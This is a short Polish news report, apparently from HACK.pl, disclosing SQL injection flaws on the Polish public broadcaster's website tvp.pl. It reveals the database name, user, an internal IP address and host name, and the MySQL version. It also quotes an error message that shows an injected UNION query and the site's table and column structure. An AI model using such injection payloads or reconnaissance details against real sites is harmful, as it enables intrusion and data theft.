Kulisy bezpieczeństwa TVP

HACK.pl informuje o błędzie SQL Injection, który znajduje się w serwisie Telewizji Polskiej.

Na stronie www.tvp.pl jest wiele błędów tego typu. Wykorzystując te luki napastnik jest w stanie ustalić następujące fakty: baza danych nazywa się tvp, użytkownik tvppl, host znajduje się w sieci wewnętrznej pod adresem 10.16.3.152 czy dns-em mery.tvp.com.pl , a jako dbms wykorzystywany jest MySQL w wersji 4.1.12-standard-log.

Możliwe jest również sprawdzenie dowolnej wartości w bazie. Konieczna jest do tego wiedza o nazwie tabeli i kolumny, ale komunikaty o błędach w zapytaniu dają napastnikowi tą możliwość:

Np. Database error: Invalid SQL:
SELECT News.SubTitle as SubTitle,Text,Cytat,News.Position as Position,
NewsHead.Data as CreateData,News.IdGallery as IdGallery,News.IdKeyword
IdKeyword, Audio.Sign as AudioSign, Audio.Link as AudioLink,
Images.Sign as ImagesSign, Images.Link as ImagesLink,
Images.ImagesWidth as ImagesWidth,Images.Align as ImagesAlign,
Video.Link as VideoLink,Video.Sign as VideoSign, News.IdTable as
IdTable, Table_Content.Table_Content as Table_Content FROM News LEFT
JOIN Audio ON News.IdAudio = Audio.IdAudio LEFT JOIN Video ON
News.IdVideo=Video.IdVideo LEFT JOIN Images ON
News.IdImage=Images.IdImage LEFT JOIN Table_Content ON
News.IdTable=Table_Content.IdTable LEFT JOIN NewsHead ON
NewsHead.IdNewsHead=News.IdNewsHead WHERE News.PageNumber=1 UNION
select * from Category# and News.IdNewsHead=199781 ORDER BY
News.Position ASC

MySQL Error: 1222 (The used SELECT statements have a different number
of columns)

Napastnik ma możliwość stworzenia całkiem dokładnego modelu bazy. W konsekwencji może wywołać dowolne zapytanie w bazie.

Realizacja: SIPLEX Studio